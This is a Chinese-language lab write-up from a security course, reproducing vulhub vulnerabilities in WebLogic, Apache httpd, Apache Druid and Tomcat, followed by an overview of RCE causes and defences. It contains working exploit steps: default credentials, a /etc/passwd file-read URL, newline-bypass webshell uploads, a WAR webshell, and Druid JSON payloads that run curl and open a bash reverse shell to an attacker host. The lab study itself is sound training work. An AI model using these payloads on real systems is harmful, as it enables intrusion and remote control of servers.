目录
1. 在vps安装docker和docker-compose
2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
1. 在vps安装docker和docker-compose
2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
2.1 weblogic 弱口令/任意文件读取
2.1.1 弱口令漏洞
漏洞成因:WebLogic服务器在搭建后,管理员未修改后台的默认密码或设置的密码过于简单,导致攻击者可以通过暴力破解、字典攻击等方式轻易获取登录权限,进而对服务器进行进一步的控制和攻击。
漏洞复现:
使用docker搭建环境以访问:http://your-ip:7001/console
使用弱口令weblogic:Oracle@123,即可实现登录:
2.1.2 任意文件读取漏洞
漏洞成因:服务器在处理用户输入时,没有对输入内容进行充分的限制和过滤,导致攻击者可以通过构造特殊的请求,读取服务器上任意文件的内容。
漏洞复现:
前台存在任意文件读取漏洞,在不知道登录密码的情况下可通过此漏洞读取weblogic加密后的密码文件,如使用如下URL读取/etc/passwd:
http://your-ip:7001/hello/file.jsp?path= /etc/passwd
从中可以读取敏感的密码信息:
2.2 apache 换行解析/druid RCE
2.1.1 换行解析漏洞
漏洞成因:程序在解析PHP时,如果文件名最后有一个换行符x0A
,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。该程序是采用黑名单的形式,如果文件后缀名不在名单内即可上传,所以 a.php\x0A
不在黑名单列表中,可以上传。但是x0A
是换行符,所以apache会直接忽略,将其当成php来执行。
漏洞复现:
使用docker搭建环境以访问:http://your-ip:8080/
准备如下木马并启动bp拦截:
上传木马文件,此时burpsuite就会抓取提交的数据。
在文件名末尾处加空格
点击 Hex
按钮,进入十六进制编辑页面,并找到文件名1.php
的位置。
然后在文件名后空格对应的20改为0A
,然后点击 Forward。
文件上传成功!
接下来访问一句话木马1.php%0a
http://your-ip:8080/upload/1.php%0A
使用冰蝎进行连接:
漏洞复现成功
2.1.2 druid RCE漏洞
漏洞成因:在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码2.3 tomcat 弱口令/后台文件上传getshell
漏洞复现:
使用docker搭建环境以访问:http://your-ip:8888/,加载会特别慢,要等一会儿。
进入Druid console控制台界面,点击Load data -->Local disk
逐步添加以下内容:
- Base directory:
quickstart/tutorial/
- File filter:
wikiticker-2015-09-12-sampled.json.gz
- Dimension:
cityName
- Value:
Auburn
在点击Apply之前开启BP并抓包.....
修改数据包中的字段filter为以下内容:
{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",
"dimension":"added",
"":{
"enabled":"true"
}
}
发现是可以请求的,说明存在漏洞
先在主机中做监听,这里监听4321端口
继续修改filter值为以下内容:
{
"type": "javascript",
"dimension": "added",
"function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/your-ip/4321 0>&1')}",
"": {
"enabled": true
}
}
使用反弹shell触发漏洞
触发成功!
2.3 tomcat 弱口令/后台文件上传getshell
2.3.1 弱口令漏洞
漏洞成因:Tomcat在安装后,其管理后台(如Manager App)通常会有一个默认的用户名和密码(如tomcat:tomcat)。如果管理员在安装后没有修改这些默认密码,那么攻击者就可以利用这些默认密码尝试登录。
漏洞复现:
使用docker搭建环境以访问:http://your-ip:8080/console
点击Manager App,使用弱口令tomcat/tomcat,即可实现登录:
成功进入登陆界面:
2.3.2 后台文件上传漏洞
漏洞成因:Tomcat manager 登录界面存在弱口令漏洞,登录成功后有上传点,压缩包 xxx.war的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell
漏洞复现:
使用冰蝎自带的.jsp木马文件,默认密码为rebeyond
在这里打开终端将文件压缩成war,并上传shell.war文件
jar -cvf shell.war shell.jsp
访问 your-ip:8080/shell/shell.jsp (这里的父目录名与文件名一致),没有报错,说明上传成功了:
使用冰蝎进行连接:
漏洞复现成功
3. 总结RCE漏洞的原理和利用条件及解决方案
3.1 RCE漏洞的原理
RCE(远程代码执行)漏洞是指攻击者能够在目标系统上执行任意远程代码。这一漏洞通常由于应用程序对用户输入没有进行充分的验证和过滤,导致攻击者可以通过构造恶意输入,让应用程序在执行过程中执行攻击者指定的代码。具体而言,RCE漏洞的原理包括以下几个方面:
3.1.1 输入验证不足
应用程序在接收用户输入时,未能对输入数据进行充分的验证和过滤,使得恶意代码或命令能够作为有效输入被处理。
3.1.2 代码执行
应用程序在执行系统命令或处理用户输入时,将未经验证的输入直接用于执行代码或命令,导致攻击者能够执行任意代码。
3.1.3权限提升
攻击者通过RCE漏洞执行的代码或命令可能具有与应用程序相同的权限,从而能够执行更高级别的操作,如读写敏感文件、控制系统服务等。
3.2 RCE漏洞的利用条件
RCE漏洞的利用条件主要包括以下几个方面:
3.2.1 存在未经验证的输入点
应用程序中存在接受用户输入且未进行充分验证和过滤的点,如URL参数、表单输入等。
3.2.2 代码执行接口
应用程序中存在能够执行系统命令或代码的函数或接口,且这些函数或接口在处理用户输入时未进行安全检查。
3.2.3 漏洞环境
目标系统上存在可被利用的RCE漏洞,且攻击者能够访问到该漏洞的触发点。
3.3 RCE漏洞的解决方案
针对RCE漏洞,可以采取以下解决方案来加强安全防护:
3.3.1 输入验证
对应用程序中的所有输入点进行严格的验证和过滤,确保输入数据符合预期格式和范围,避免恶意代码或命令的注入。
3.3.2 使用安全的函数和接口
在应用程序中避免使用能够执行系统命令或代码的函数或接口,如果必须使用,则应对输入进行严格的检查和过滤。
3.3.3 最小权限原则
确保应用程序及其执行代码或命令的权限尽可能低,避免使用高权限账户运行应用程序。
3.3.4 安全更新和补丁
及时关注并应用应用程序及其依赖库的安全更新和补丁,以修复已知的RCE漏洞。
3.3.5 安全审计和监控
定期对应用程序进行安全审计和监控,及时发现并修复潜在的RCE漏洞。
3.3.6 白名单策略
对于需要执行外部命令或代码的功能,实施严格的白名单策略,只允许预定义的安全命令或代码被执行。